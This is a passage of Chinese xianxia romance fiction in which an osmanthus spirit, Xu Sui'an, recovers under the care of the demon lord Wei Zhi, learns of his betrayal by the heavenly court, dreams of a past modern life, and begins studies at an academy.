危止小心地将绪岁安抱回瑞灏殿,那生玄琴便缓缓奏出平缓的乐章安抚绪岁安身上的疼痛。
许久,危止坐在一旁,拉起绪岁安的手,白嫩的手腕处一道形似天雷的图腾忽明忽灭,他心咯噔一下,毫不犹疑,指尖轻轻划过他的腕处,冒出滋滋血迹,他将手腕贴近那图腾,血迹与图腾融合,图腾逐渐向外扩散,直至消失。他的嘴角微微上扬,好似重石落地。
他盯着绪岁安苍白的小脸,将她凌乱的碎发轻轻撇向两边,心中却像是下定了某种决心。
这几日绪岁安睡得格外安稳,特别是翻身时抱到一个有体温的‘玩偶’,像她幼年时睡前一定要抱着的小兔。
以灵蝶血为引下的阵实在厉害,绪岁安昏睡了多日,梦到了许多不属于这个世界的东西,方方正正的。还有张白的发亮的纸张,只是梦中的她看到上面的内容时神色不是很好。或是感到了阳光,她缓缓睁开眼,打量四周,昏沉地太久,她都快分不清现实或梦境了。
一阵熟悉又令人作呕抵抗的气味飘飘然进入她的鼻腔,她才发觉自己醒了。
绪岁安扭头看向塌边却看了个空,那只是梦吗?
“小岁安呐,诶呦你终于是醒了!”一旁的岐黄惊喜地迎上来查看她的伤情,眼眶似是有些微红。
绪岁安坐起身,一碗补药又硬生生怼到她面前。绪岁安有些虚,连拒绝扯皮都有些难为,只得乖乖接过了药一饮而尽。听岐黄在一旁道来这些日子所发生的事。
绪岁安低头看向手腕处完好无缺的时环蹙起了眉。
“听闻天界有好几位仙君都在那日来魔宫前求救。”岐黄将帕子递给她,“我瞧着他们的症状像是中了忘玄之毒,但像是误伤的,不然又有何人能在忘玄之毒下苟活。”
绪岁安被一旁柔和的琴声吸引,扭头发现是生玄琴,只听岐黄解释道:“这生玄琴也不知为何,从你回来那刻便无休止地奏着,不过我听闻啊,这生玄琴的琴声有疗愈功效,只从不主动为谁弹奏,就连尊上受伤时它也未曾动过。”
岐黄见小家伙的状态好了许多,便也放下心来留出空间给她休息。
那琴声还在奏着,绪岁安下了床,走到生玄琴旁,手指轻轻拂过那银白的弦,那旋律忽的停了,好一会才又继续若无其事般奏起。
绪岁安猛的收回手,不知为何,刚触到琴弦时她能感觉到它的悲伤,而后又转成震惊,最后又失望地转落平静。她眸光黯淡,盯着面前这把生玄失了神。
“它从未亲近过谁。”危止的声音从门口传来,将她的思绪牵回。
“先把药喝了,等你身体再好些,我教你弹。”
危止把药放在桌上,绪岁安跟过去满脸疑惑,“不是喝过了吗?”
“那是对症下药,这是补药。”
绪岁安探头看向碗底,波光粼粼,她有个不详的预感,“这该不会是......”
“我才不喝!”
忽的,下巴被人用力捏起,绪岁安还未反应过来,那碗‘大补药’已被全部灌下,绪岁安呛地弯腰,而危止却很是满意。
而角落的生玄琴似是很生气,一道弦音波动,向危止袭来,危止单手遮挡掉后,手心灼烧感传来。绪岁安被眼前一幕惊到,听到危止‘嘶’的一声,赶忙将他的手拉过来查看,手心处一道深刻的红色烙印紧紧贴着,那图案胡乱,像是桂花。
而危止似是有些恼火,朝生玄的地方打出一掌,生玄琴弦飞速波动,将那法术稀释,而琴弦更加发亮。
绪岁安见状赶忙拦下危止,“诶诶诶有话好好说有话好好说,不要动手动脚伤了和气。”
危止撇头,谁要和一把破琴一般见识。
“啊——尊上求求您了,我已大好。”绪岁安抱着危止的衣袍晃荡恳求,危止一低头她便鼓起腮帮子作出委屈巴巴的模样仰头看他,“求您了,我想回绪照山......”
危止深思,后问她:“这么想走?”
绪岁安点点头。
“不行。”转而他又变了口风,“好啊,只不过你与那灵蝶已然是死敌,离开了本座,绪照山又没羽涅坐镇......”
“哦对,你还喝了灵蝶的蝶翼。”危止若无其事般提醒道。
绪岁安一下子泄了气,靠在危止腿边,心里呐喊道:你这是要害死我啊......!!!!!!
绪岁安镇定,想来也是,那仙子莫名奇妙便将她扔入阵中,还说些她无法理解的话,现下她断了翅,还被她喝了!倘若离开危止,师父也不在...没人能护着她了。
危止见脚边毫无动静,垂眸看见那小桂花精落魄的神情,正想着是否是他吓着她了时,脑海中想起岐黄的话:
“这小桂花精无拘无束爱自由,若尊上您将她拘在身边......”
爱自由爱乱跑他是见识到了,只这一天天看她呆在瑞灏殿快要跟焉儿了似得,他叹气:“罢了。”
绪岁安猛地站起来握住他的手,眼神定定:“不要罢了尊上!我不乱跑了!我就爱呆在魔宫!”
危止疑惑眯眼,这是......疯了?
清醒后绪岁安回到了广寒殿。
某天,绪岁安抱着枕头趴在塌上,翻来覆去,抿着自己的小想法,头有些昏昏沉,“不行吧?会被发现的吧?”
忽而,一把赤伞咻地飞入殿中,绪岁安呆呆看着那赤伞幻化成忘川那少年的模样,她指着他口中只呆呆发出“你你你”的声音。
“怎么,才多久啊,就不记得名字了?”
“荆......荆棘!”
那少年明显无语,敲了敲绪岁安的头,见绪
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岁安吃痛地捂着,他有些偷喜,“我叫荆芥!”
“好好好,你怎么找到这儿来的?”
荆芥神色一僵,总不能说是魔王知晓后将他绑来同她作乐的吧!
荆芥有些不自在,开口:“我来帮,帮岐黄,只顺道看看你!别多想了!”
绪岁安长“哦”一声,“那你走吧。”
荆芥有些尴尬,跑到绪岁安边上坐下,手中凭空出现一把红色折扇。“听闻人间中元节,有游神祈福,去不去?”见没动静,荆芥转头就对上绪岁安一脸鄙夷的神情,“中元节?”绪岁安她又不是没去过人间,中元节人儿都避之不及,还游神呢......游鬼倒是真的。
荆芥尴尬地挥手:“害!反正就是什么元节吗,你到底要不要去?”
绪岁安陷入思考旋涡,她是想去,可眼下万一出了魔宫,又被抓走她又该如何?她看向荆芥,心中一万个不放心,这小毛头和我一般大,也不见得能护住自己更别说我了!小命要紧啊!
“尊上,您去不去?”
危止正坐在桌前翻着典籍,而一只小脑袋在桌前探出头来,他只瞥了她一眼,“不去。”
“那我被抓走了您会来救我吗?”
危止低头轻笑,后又归于平静,继续逗她:“抓走?”
“嗯嗯。”绪岁安可怜巴巴的望着男人冷静严肃的面庞,期待着回复。
“倘若你被抓了,那就是少了个麻烦,本座还真要轻松不少呢。”
我是麻烦吗?绪岁安心道。
她低着头,想想也是,她给他惹出多少事来,罢了。
危止拿起手边一份族老呈上的册子,并未察觉那小桂花妖有些失落的神情,刚翻开一页,就瞧见那道越来越远的身影消失在门口。
“尊上,这是您要的籍典,符序上神刚派人送来的。”云螭与那绪岁安擦肩而过,他总觉着她不对劲,回头看她时已经走远。
危止打开卷轴,上面写着:
往逝轮回,心境破碎,永盾虚妄。
夜幕降临,人间街道烟火气十足,就像那时她与那些小妖坐在不起眼的石阶闲聊时。她的眸子瞬间黯淡下来,当初她是多自由一小妖啊,可现在呢,魔王是不要她死了,可天界又要。正当她惆怅之时,先前那群小妖瞧见了她,涌上来,将一串红彤彤的糖串塞入她手中。
“桂花姐姐你来啦!”还是那只小妖,“这些日子都不再见你,还以为你收衣服之时被雷劈了。”
绪岁安一僵,童言无忌童言无忌......
街边擦声响起,那小妖将绪岁安拉到一边,眼睛发亮踮脚道:“游神这么快就要开始啦!”绪岁安闻声看去,孩童脸上笑的灿烂,提着花灯,跑向家人怀中。远处一片湖,湖心亭间缀满了花灯,花灯下还牵着人们的许愿条。
向上苍祈愿,向时间与生命之神祈愿。
‘若您能听到我的乞求,我愿付出一切代价,换我母亲重病痊愈。’
绪岁安心一颤,她扭头看身旁的荆芥和那小妖,两人都像未曾听到般仍兴致勃勃地盯着人群尽头。
她戳戳荆芥,“你听到什么了吗?”
13. 第13章 被吓晕了?
“听到了啊,游神不是快要开始了吗?”
绪岁安扶额,她仍朝湖心亭望去,那道声响已然不再,鬼使神差地,她朝湖心亭的方向跑去。
待到湖心亭时,她只看见人们都挂了风铃条许愿,那道声音再未响起。转而,身后人群传来惊呼,一少女落入湖中,呛了许多的水,却未有人上前搭救。绪岁安刚踏出一步,身旁就传来那小妖的声音,“桂花姐姐,这些人们最注重清白,若有人救她,定会惹出非议。”
“命都快没了,还担心这糟粕干嘛!”语毕,绪岁安刚要跳入水中将那女子救起,原本周遭的吵闹声瞬间暂停,波动的水面也就此平静。她将那女子拉上岸边,那女子还在啜泣,绪岁安抚上她的背,“别哭了。”见那女子还是抽泣不止,她又道,“那些人都是被封建教条框死了,哪能救或被救就判定一个人不良?”
那女子哭着摇摇头,绪岁安才发觉并不是这么回事。
“你若有什么难处,可以同我说。”
良久,那女子哽咽开口,“家中母亲身患重疾,大夫说要准备......”
绪岁安一愣,那祈愿,莫不是是她?
所以她是在向神明,献祭自己!?
绪岁安心下五味杂陈,将岐黄给她炼的保命丸放在那女子手心。
“你别怕,这是我从名医那求得的神药。”
闻言那女子盯着她看了许久,后擦干泪水,一个劲地朝绪岁安磕头。绪岁安摆摆手连忙制止,身旁突现一道白色身影。
“符序神上?”
符序仍拿着扇,扇子扇两下,一件披风落在草地上。绪岁安懂得了符序的意思,捡起披风抖了抖给那女子披上。绪岁安扶起地上的女子,叮嘱几句后看着她逐渐远去的背影才稍稍松了口气。符序扇扇扇子,周遭的吵闹声再度响起。
“所以说,你听见了她的祈愿?”绪岁安边走边看向一旁的符序。
见符序颔首,她又道,“那为什么我也能......”
符序一怔,后又恢复自然,悠闲开口:“或许你是羽涅的徒弟吧,不过也可能,你是下一个生命神哦。”
绪岁安想都没想赶忙摆手,“我何德何能啊!”
荆芥看着不远处绪岁安的动作,不解皱眉,心道:这家伙何时得了和空气对话的毛病?眼瞧着绪岁安同空气挥手,荆芥瞬间起了一身鸡皮疙瘩。
街道上的热闹只增不减,或是人们已经遗忘了那段插曲。
许多朵花火绽于夜空,色彩纷呈,百姓均退至街道两侧,更有甚者虔诚下跪。
那是游神开始的信号。
吟诵声越来越近,队伍前头由三个小鬼头引路,小鬼头后四面八方均是白脸面具鬼,将那‘无名神’围在中央,白脸鬼手中都举着幽冥火炬,黑绿色的火焰不停往上空中窜,最外围与收尾的是‘牙鬼’带着绿色面具。
牙鬼一袭幽冥火色黑绿衣,两只弯牙诡异地向外扩,姿势怪异地舞着与路边百姓互动。
牙鬼是忘川路上为亡魂引路使者,无论天堂还是地狱,又或是入轮回之路,都需要他们的指引。
绪岁安抖了一激灵,这哪是游神啊,分明就是......
啊!
一只‘赤炼鬼’出现在她面前,恐怖的面具上那双深邃的黑瞳死死盯着她。绪岁安往后一退步,路边设置的烛台被撞倒,朝她的方向砸去。危急之际,那赤炼鬼一挥手,就将那烛台换了个倒向。绪岁安在惊恐中还未回过神来,面前那赤炼鬼低头从袖中掏出一支银簪。银簪上是一株桂花,银白的花瓣中微微泛着黄。
绪岁安蹙眉,偷偷抬眼打量着面前这赤炼鬼,她心道:它是如何知我是只妖?
那赤炼鬼以为她愣了神,轻抬手中的簪子示意。
绪岁安指着自己:“给我的?”见那赤炼鬼点头她才小心地接过那支银簪,“谢谢。”
而不远处的荆芥看得脸色惨白,势要冲过来提醒,喊道:“岁安你别!”
“啊!”
人群中的惊叫声吸引了所有人的注意。
不知何时,那幽冥火火焰不受控地朝人群窜去。先是点燃了几个小摊,再蔓延到百姓的布衣之上,虽未伤人分毫,却是层层灼烧感透过衣物让人感到恐惧与绝望。陷入幽冥幻境的人们无不乱跑,地上打滚企图灭火。
场面极度混乱,游神的队伍也停在了原地。
疯跑着经过的一人将没站稳的绪岁安推向一边,绪岁安睁大了眼,身前是一摊幽冥火焰正熊熊燃烧!
她努力站定却被后来几人的擦过而失败,她闭上眼心里满是‘死定了’的想法在翻滚,甚至夹杂着奇怪的声音:
我这么硬件的一张脸,我不要毁容啊!
或是身体的警觉,一阵嗡鸣声在耳畔响起,一只温暖的大掌将她拦腰捞回,绪岁安错愕地依着惯性贴靠在那人的胸前,一股熟悉的清冽香安抚般钻进她的鼻尖,她的眼神有些呆滞,她好像听到了那人重重的心跳声。
绪岁安抬头,原本有些期待的神色瞬间淹下,是那只赤炼鬼。
“岁安别!”荆芥的声音再度传来,而那只赤炼鬼贴她贴的更近。
它似是在迷惑诱导她,它将脸凑得更近,诱导她摘下它的面具。
“那是它的封印!摘下赤脸者必死!岁安别!”
绪岁安心咯噔一下,她的手不知何时已经粘在了那红色面具上。正头脑混沌间,那只赤炼鬼压着她的手,鬼使神差地,带着她缓缓摘下面具。
一张熟悉的面容映入眼帘,她心又落了空,呼吸也有些重。
那人扬起一边的嘴角,满是恶趣味地朝她挑挑眉。天空的花火再度不要钱了地绽开,‘砰砰砰’的响声更是搅得她思绪混乱。绪岁安皱了皱眉,头有些晕。
她扶住危止的手,口中只低低喊了几字便晕在怀中。
吓晕了?
不能吧?
他就长得这么吓人?
危止一手支撑着绪岁安,一手背贴上绪岁安的额头,他原本好看的眉瞬间蹙起。绪岁安迷糊间躲开他冰凉的手,似是找到了一处舒服的地方,额头贴着危止的颈间又昏沉过去。
“呀呀呀呀呀呀尊上!”
岐黄着急忙慌地提着药箱来到了广寒殿,口中还‘胡乱’念叨着。
号脉看诊过后,岐黄收起帕子,歪头有些不得解。
“如
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何了?”危止看向榻上的绪岁安,眼底闪过一丝自己也未察觉的担心。
岐黄似是想到了什么般,看向危止,答道:“发了高热。”
“怎会如此?”
“这小桂花精本就体虚......”
“惊吓过度?”危止蹙眉,他也没这么入不了她的眼吧?那赤炼鬼的模样她都不怕——
岐黄若有所指地‘哎’了声,“倒也不是。”
“只是虚不受补。属下探到她体内有多股灵药纠缠,郁结于内,无法全部消受,导致越补越虚,火热往外散,从而发热上火。”
“先前一天三碗已是上限,若只一天三碗也定不会如此番。”
危止突然哽住,灵药......灵树,不是越多越补吗?
他先前在卷宗上读过,此等灵树就是需要日日以上等灵药滋养,他眼瞧着的那小妖太过虚弱,只不过是让云螭每日多加了倍罢了,竟会如此?
岐黄似是看明了,叹了口气后朝危止道:“这灵树灵境已然重伤,自也用不着那么多的灵药。”
“属下刚让她服了药,若,”岐黄一顿,偷偷瞧着危止的脸色,见危止示意他便继而开口,“若这小妖体温不降,还需冷泉一用。”语毕,岐黄马上跪倒在地上。
这尊上最是洁癖,冷泉只他一人可用,旁人若无命令靠近,必定是要受刑了的。岐黄微微抬头,他原以为尊上会发作又或是沉脸不悦,可他只是点点头,眼神晦暗不明。
“尊上,符序上神来了。”云螭进来禀报。
“听闻那灵蝶又失了翅膀,我便猜到定是你!”符序笑着给危止倒茶,只危止心思根本不在这儿,他不悦地啧了一声,见危止思绪收回才继而说道:“距那场战争才过去六百年,没想到那离昂竟一点长进都没有哈哈哈!”
危止似是想到什么般浅笑着摇头,提起茶杯品了小口。
“纪行啊,本座今日唤你来,你可知为何?”先天帝转过身来,手中还捧着一条木盒,上刻有纹路,他有些记不清了。
危止行礼,“知道。”
天帝看向他:“那你是怎么想的呢?”
近几日天界都传言天帝正欲传位于他与离昂中一人,只是他心里清楚,他不过是天帝随手救下的一枚棋子,美其名曰为养子。他看中的是他从小的天赋和清明头脑,而自己的亲子却屡屡让他失望。可有亲子在,这至高无上的位置定不会轮到他。此番叫他来,也必是希望他能在离昂上位后尽心辅佐。
纪行低头:“天尊对我有大恩,纪行感激不尽。”
“哈哈,只是本座这唯一一子却实在愚蠢,恐担不起大任。”
“纪行定尽心辅佐离昂。”
天帝初板着的脸也终于有所舒缓,笑着将危止扶起。
自那天起,天族众人不知从何听来的谣言称天帝嫌离昂太过无用,欲立纪行。离昂怒火中烧,只觉文韬武略样样不如纪行,更不比纪行得父亲喜爱,遂出了逆反心理。
天界有一至宝为灵蝶,得灵蝶者得天下。
离昂趁天帝病重时潜入殿内,并唤纪行来。
他打破灵蝶所栖息的灵树,似是一株缩小版桂花树。
14. 第14章 真是天打雷劈的一对
被怨恨蒙蔽的离昂先是杀了天帝,再是夺了灵蝶,后等所有人出现时再作出一副悲痛模样,指责纪行为了帝位而杀天帝。明明漏洞百出,可众人偏偏深信不疑,无人质疑。遂离昂下令将纪行关入天牢,择日引天雷锁绞杀。
纪行用尽气力靠在阴冷的墙面,往日浅蓝色的衣袍也增添了许多触目惊心的红痕,被离魂钉侵蚀的伤口隐隐泛着酸涩,刺骨铭心。
他低垂着眼,瞧见右手臂微微显露的尺骨上还被刻上‘役夫’的字样,他冷冷笑着,将头撇向一边。
这哪是什么天人,只一群狼与狈罢了。
到了行刑那日,离昂似是不解这几年来的气,叫停了正在摆阵的众人,道:“纪行,谋杀天帝,罪不容诛。”
“只是未免也太便宜他了,遂本座决定,抽了他的神脉!”
纪行被锁链缠绕,像毒蛇一般死死勒紧,他红着眼奋力抬头望向站在高处的离昂,他眼底的得意就快要溢出,似是眼中只有得权与将他踩在脚下的得意。
天族仙君们站在各个阵点,共同施法,将纪行死死压制后再渡引天雷落下。
纪行咬牙,青筋暴起,额间汗珠层层滚下,都不曾出声。他强撑着环视四周,他要将这些人的样貌牢牢记在心里,倘若他还能苟活,他定要卷土重来,不顾昔日情面,将当场所有人都拉下地狱!他要踩着离昂的尸首一步一步向上!
就在他快要感受不到疼痛时,一道声音从耳畔响起。
“纪行,一路走来,你可有悔?”
那道女声平静似水。
纪行唇齿微张,胸口一阵澎湃,吐出一口黑血来,他咬牙道:
“悔。”
原以为寄人篱下的他只需安分守己便能安稳一生,不料却被人推着作了他人的目中刺,落得如此下场。如果能重来,他定不再期望他人的援手与温暖;如果能重来,他定要同离昂争个头破血流;如果他能活下来,他日定要用离昂的血肉作祭,倾覆整个天界!
后来他也不知如何,只记得再度醒来时,已然到了魔界边境。一老者研磨着药上前查看,将他救治,他再凭着三成功力杀遍魔界不屈者,冠上魔王的称号,霸占魔宫,休养生息,以待来日亲眼见证天界的覆灭。
偶然某日,他听闻天界有一囚犯,在行刑时突然暴发,挣脱了天雷锁,重伤了当场所有人后落荒而逃。
纪行坐在座上不屑地笑看手中的酒杯。
“明明是咱们尊上杀出一条血路!”
绪岁安捧着碗,呆呆地看着岐黄一脸崇拜地讲述魔王事迹。
“啊......”绪岁安满眼同情地盯着岐黄,心中泛起涟漪:原来这魔王这么惨呢,那那神秘人还让我杀了他,他这一路能挺过来已是不易......
门外敲门声响起,绪岁安将碗塞回岐黄手中,后盖着被子迅速躺下,作出一副还未清醒的模样,她悄咪咪睁开一只眼偷瞧岐黄,岐黄满脸无奈地摇摇头,后朝门口行礼。
“如何了?”
“回尊上,”岐黄一顿,“刚醒了片刻钟,现喝了药又睡下了。”
“哦,照顾好她。”危止思索了一会,转身欲离开时却被岐黄叫住。
“尊上,只这小妖高温不退,可能......”
危止一怔,眸子晦暗不明,只留了一句“知道了”。
夜间,皎洁月光下,一道人影在小径上越拉越长。
男人一袭白衣,衣摆轻拂过浅浅青草地与石板阶,踏花芳径,稳步向前。
下了冷池,明显感到怀中人乍然一抖,抓上危止的衣襟,往他怀中更靠紧了些。
冷泉虽烟雾蕴绕,池里的水温却冰凉刺人,若不是像危止这般实力雄厚的人,区区小妖定会被活活冻死。绪岁安冷得发颤,轻蹙眉头,只默默贴向唯一的‘热源’。她贴近心脏处,听到闷闷又急促的心脏跳动声。危止忽地愣住,许久,待那小桂花精快要滑下时才回过神将她接住。
危止垂眼,看向怀中的绪岁安,月光照得她的皮肤更加白皙,像个瓷娃娃般,易碎又珍贵。危止将视线移向别处,他现只觉浑身似有火在燎,寒意透心的冷泉也同无作用一般。
适应了冷泉的绪岁安迷糊地抬眼,看到眼前景象却也没惊异,或是正迷糊着无法清醒思考,后又昏沉沉闭上眼,在危止怀里睡了过去。
绪岁安梦到了许多。
她梦见她身处虚空,四周响起那道神秘人的声音,天旋地转间,那道声音缓缓响起。
【只有杀了魔王才能到故事终点,你才能回到你的世界!】
我的世界?这儿不是我的世界吗?
绪岁安疑惑开口:“这儿不是我该在的世界吗?”
虚空中寂静无声,她等了许久,也依旧如此。
正当她迷茫时,眼前一道强光,再睁眼时,是一个她陌生的世界。
那个世界中,有许多方方正正的东西在有规律地移动,她观察了许久,孩童要爬树摘果子,面对困境也只是茫然停留原地,她有些纳闷,他们没有法力吗?他们不着衣袍,露出手臂,他们的衣物简便,甚有口袋。
视角切换,她眼前是一家三口,小女孩长得同她很像,身旁的一男一女估计是她的双亲。那个小女孩很快乐,三人正一同用着饭,她的娘亲还将桌上唯二的鸡腿夹入她的碗中,“谢谢爸爸妈妈!”
绪岁安也被感染,不由自主地嘴角上扬。可下一秒,她的笑容立马止住。
那小女孩哭着与双亲分别,抱着母亲的腿不愿松手,豆大的泪珠一滴又一滴,重重砸在手背。
“小楠乖,爸爸妈妈只是要出个小差,等小楠长大了爸爸妈妈就回来了。”
那女孩的父亲蹲下摸摸女孩的发,温柔安抚道。
“小楠乖哦,之前妈妈和你说过,远方的小朋友不怎么读书,老师特别少,他们很可怜,走不出那儿。”
那小女孩虽哭着,却也在认真听妈妈的话,她抹了抹自己的眼泪,抽泣懂
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事道:“爸爸妈妈要去帮他们。”
那女人笑了,眼中的不舍,那小女孩没瞧见。
二人摸了摸小女孩的头顶,后拖着行李离开了家门,只那小女孩在门口边朝他们挥手边抹着眼泪。
绪岁安走到小女孩旁边,有些动容,她伸手想要摸摸她却扑了个空。那小女孩坐在台阶上,好一会,终止住了泪,她一怔,似是察觉到什么,她仰头看向绪岁安。绪岁安一惊,她竟能看得见她?
而后小女孩瞬间消失,只留绪岁安一人站在原处。
周遭场景再度变换,她站在远处,看见那女孩或是长大了的模样,正举着一把冰刃小心朝冷池边上的男人靠近,那男人似是察觉,眸光犀利,预判着抓住她的手腕将她狠狠扔入池中。
那女孩没了踪影,只池中一片血色弥漫开来。
后又重开,那女孩举着把剑就朝塌上的魔王冲砍去,结果毫无意外,那女孩被魔王扬成了灰撒在地狱。
绪岁安远远看着,身形一颤,那女孩怎么这么像她?但也不是很像。
毕竟她也没像那女孩如此不识好歹到去刺杀魔王,绪岁安摸着下巴认真思考着一切。
但她又为何会有此记忆印象?、
以及那句格外邪乎的,“杀了魔王就是故事的终点”?
绪岁安蹙眉,天界那神秘人也是如此说,可危止根本不是他们所说的超级大坏种,他是被逼如此,倘若真要杀了......不行!绪岁安摇摇头,在一片小空间中反复挪步。
“他才不是这个世界的魔王!或许魔王只是一个噱头,一个迷惑我的。”绪岁安自顾自道,“那......到底是谁呢?”
眼前突然浮现一张恐怖渗人的鬼脸朝她越来越近,绪岁安想呼喊却是怎么也发不出声响,下一秒,她瞧见危止躺在一处昏暗潮湿阴冷的山洞角落,胸口深深刺着那把冰刃,伤口与刀□□合处还往外疯狂冒着血。
纪行......
“啊!”
绪岁安猛的坐起身,冷汗已然浸湿了后背衣衫她却未注意,只是从幻境脱离回来的庆幸和恐慌。
他怎么会在那儿?我又为何会喊他纪行?纪行纪行,不是那密室石碑的刻字之人吗?
绪岁安摆摆手,示意自己不要再胡思乱想,可她心中的疑问却更加深。这一夜她闭上眼,满脑子都是那‘惊悚’场面,就犹如死死刻在她的脑海中。绪岁安抱着枕头,‘啧’了一声后翻身,她睡不着。
故事?
这不是我该存在的世界吗?
倘若这是个故事,那故事的结尾又是如何的呢?
是她最后看见的那样吗?
绪岁安狠狠敲了下自己的脑门:“胡乱想些什么呢!你就是烧糊涂了!”
“我不是绪照山的小桂花精那我是啥?小猫小狗?”
“切!我肯定是师父养的小桂花!绪照山是我家!”
什么故事不故事的,她才不信呢......
15.第15章 尊桑......
“尊上,相墨堂传人来问,此次魔族送去的那十几个孩童可还有其他人?”
危止低着头手中轻轻把玩着一朵淡黄色的小花儿,眼角攀上淡淡笑意不由得扯出一抹弧。他思索片刻,而又冷下来道:
“那只小妖也一同送去吧。”
绪岁安揉揉眼,阳光透过窗在地板蔓延,已是近黄昏。
绪岁安翻身伸了个懒腰,一脸满足,许久都未如此酣睡了,爽!
只不一会,她又是皱皱巴巴的神情,想起那些根本不属于她的记忆,如同一团乱麻,在她本就容量不多的脑海中疯狂交织缠绕,绕成一个麻团,可偏偏她就不是一个可以随意放下的性子,一旦有了疑问就想要去查明源头与真相,这让绪岁安烦恼到‘头秃’。
不一会,一群紫衣侍女抱着一叠又一叠的书籍进了瑞灏殿,原本空阔的桌面瞬间被堆叠,不留一处空隙。绪岁安傻了眼,唇齿微张却吐不出一个字。见那些侍女将要离开,她赶忙拉住末尾女子的袖。
“姐姐,这,是做什么呀?”
那女子瞧见她的模样,一闪而过的恍惚很好掩藏:“您这不马上就要去相墨堂求学了嘛,尊上吩咐给您送来的,您可要好好学习哦。”
“什么!?”
绪岁安扭头看向那堆爬不进一只小强的书籍,头更加的疼了。
“相墨堂乃弥族最出名的学堂,如今的上神符序神上从前便是弥族之人,后亦是在相墨堂进修学习的,相墨堂是每个人都想去的地方,人人都想像符序神上那般。”雪凰见绪岁安满面愁容便安慰她道。
绪岁安看向她,似是有了个妙极了的点子:“你也想去吗?那你替我去吧!”
雪凰闻言立即跪下:“雪凰不敢!”
“你你你你你你!怎么一言不合就跪啊。”绪岁安拉起她,“我也同你一般,是尊上的侍从。”
“尊上对您不好吗?”雪凰关切道。
绪岁安沉思了一瞬,“好,很好。”
当初她救活了危止,危止虽是让她作为她的侍从,可什么重活都没让她做过,虽在活动范围限制她,但也算轻松的很。他还屡次救她于危难,他还用灵药喂养她,虽然最后喝的头晕晕的,但也是对她算极好。
雪凰定定看着绪岁安,像是下了决心般,倘若尊上对她的小主子不善,她也势必与那危止拼啦!
“小,仙子,相墨堂能学到许多,您可要好好听那儿的夫子授课啊!”雪凰有些不放心,再三叮嘱道。
雪凰手搭在胸口,不一会,迁移出一片晶莹雪白的晶体。她将护心羽片捧至绪岁安面前,朝她浅浅一笑。
绪岁安连连摆手,她虽是只小妖,但也懂得这是何物,护心羽片是鸟兽的心头血幻化而成,每只鸟兽只能幻化两片,格外珍稀。她今日才同这雪凰见一面,她便如此对她,她实在是心有不安。
雪凰见她不答话也不动作,更将羽片向前伸了伸:“这是护心羽片,在您遇到危险时能为您挡下致命攻击。”
“谢谢你,但,这对你很重要。”绪岁安认真地看向她道。
雪凰眼底攀上笑意:“您对我更重要。”
绪岁安一愣,她不过是只绪照山上土生土长的小桂花妖,怎能怎可能与鸟兽族搭上关系,她她她还那样那样说她对她很重要!
见她还在犹疑,雪凰拉过她的手将羽片转过去,她握着绪岁安的手,轻轻施了法,那羽片瞬间碎裂,消失于绪岁安的手心。
“碎碎碎坏了!”
雪凰轻笑不作声。
“啊——尊上呜呜呜,我不要上学啊......”
岐黄看着靠在危止脚边疯狂抓着腿摇晃的绪岁安,背后不经起了一身冷汗,他擦去额头的虚汗,只觉得这小岁安怕是疯魔了,竟敢如此对尊上。
危止垂眼看向脚边的绪岁安,有些无奈,只好屏退所有人。
待所有人退出去后,危止看向仍站在一旁的云螭,云螭一脸不可思议,后又不情不愿地退了出去。
尊上真是着了那只小桂花精的道了!先前还说要杀了她,却又事事上心养她到现在,今日甚至为她屏退了所有人,包括他这个心腹!!!
真是祸害遗千年!
绪岁安头靠在危止膝旁,一脸生无可恋道:“尊上,我不想去学堂。”
危止刚要触碰到她头顶的发的手忽然止住,思绪回笼的那一刹那,他真觉得他是疯了,竟竟,竟,!
见上座者不答,绪岁安仰头看向他。
对上她那黑葡萄般水灵的眸子,危止不自在地将视线移开,骨节分明的指间还缠绕着一条嫩黄色丝带,“为何?”
“我不想离您太远!”
“撒谎。”
“你巴不得离本座远远的。”
绪岁安似是被看穿般嘟囔着:“知道还说......”谁让他动不动就给她下死咒,一想到这个就来气。
绪岁安沉浸在自己的‘悲痛回忆’中,显然忘了身后上座的人,他先是一愣,再是脸色阴冷的不行,她摸摸手臂,只觉得背后凉凉的。
沉寂了许久,身后人缓缓起身,犀利道:“你不是要做绪照山家主吗,一点能力都没有,每次都将性命依托给他人,那你还不如再回灵境修炼个百八千年再说。”
闻言,绪岁安像被点燃,危止撤出腿,睨了她一眼后,从她身侧离开。
“诶!”绪岁安仍想抓危止却扑了个空,她整个人趴在地上,却只扯住个拖尾,见危止回眸,又立马软下来,可怜巴巴的模样:“尊桑......”
马上到了入学的日子,绪岁安提着木匣子,不情不愿地来到了牌匾下。那牌匾刻着“相墨堂”三字,绪岁安的心更凉了。她心不由自主道:过了九年义务教育,竟还得在这儿上学,真是倒霉到家了......
绪岁安一愣,后又马上恢复正常,她都快要习惯这些莫名其妙的语句了。在出口时她便能理解,只是再回想它们便变成了一窍不通。
不远处云螭在同一青衣白须的老者交谈些什么,两人一同看向她,绪岁安皱眉,似是还有她的事?
那老者笑呵呵的,见云螭朝
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他行礼,估摸着是要走了,绪岁安赶忙撇回头来。
绪岁安挑了个位置坐下,将木匣里的课本都依次放在书案上。
院外传来各种的欢声笑语,在进入书堂时戛然而止。绪岁安闻声看去,有几个木匣角落上刻着魔族的图纹,还有一只狐狸尾巴的图纹想来应该是弥族的吧。
“可给瑶芩姐姐摆放好了,这些文具倘若弄坏了,就算你们死个数百次都不够你们赔的!”
一小仙被喝令着整理书案,一小仙站在那瑶芩身旁奉承谄媚,“宫主对瑶芩姐姐真好!这笔真是好啊。”
瑶芩也被捧的得意,“那是,这笔可是雀羽所制。”
那笔尖隐约泛着蓝绿亮色,实属不凡。
“你,把我的书案再往前抬些,今日赵夫子来讲学。”
那正整理书案的小仙停下,撸起袖子不经意间露出一道道伤痕,恰被绪岁安收入眼底。
“你等等!”
绪岁安拉下那小仙,将那小仙拦在身后,“人人都来求学,你又何去为难她?”
“哪来的小仙如此不知好歹,我使唤谁,同你有什么关系?”
“她有伤。”
“有伤又如何?不过是让她抬个书案整理些东西而已,被你说得倒像是要她命了。”瑶芩抱肘嗤笑,又盯着绪岁安身后的且林,“你说,我可有欺负你?”
且林畏畏缩缩地摇摇头,“没,没有。”
“你看吧。”
绪岁安刚想再辩驳几句,就被且林在后头拉住,她朝她摇摇头,瑶芩那趾高气昂的声音再度响起。
“这且林是我的人,我想如何使唤她就如何使唤,哪怕她死了都同你没有关系,懂吗?”瑶芩上前一步饶有兴致地打量绪岁安,她伸出指尖戳了戳绪岁安的左肩,“做人不要太多管闲事了。”
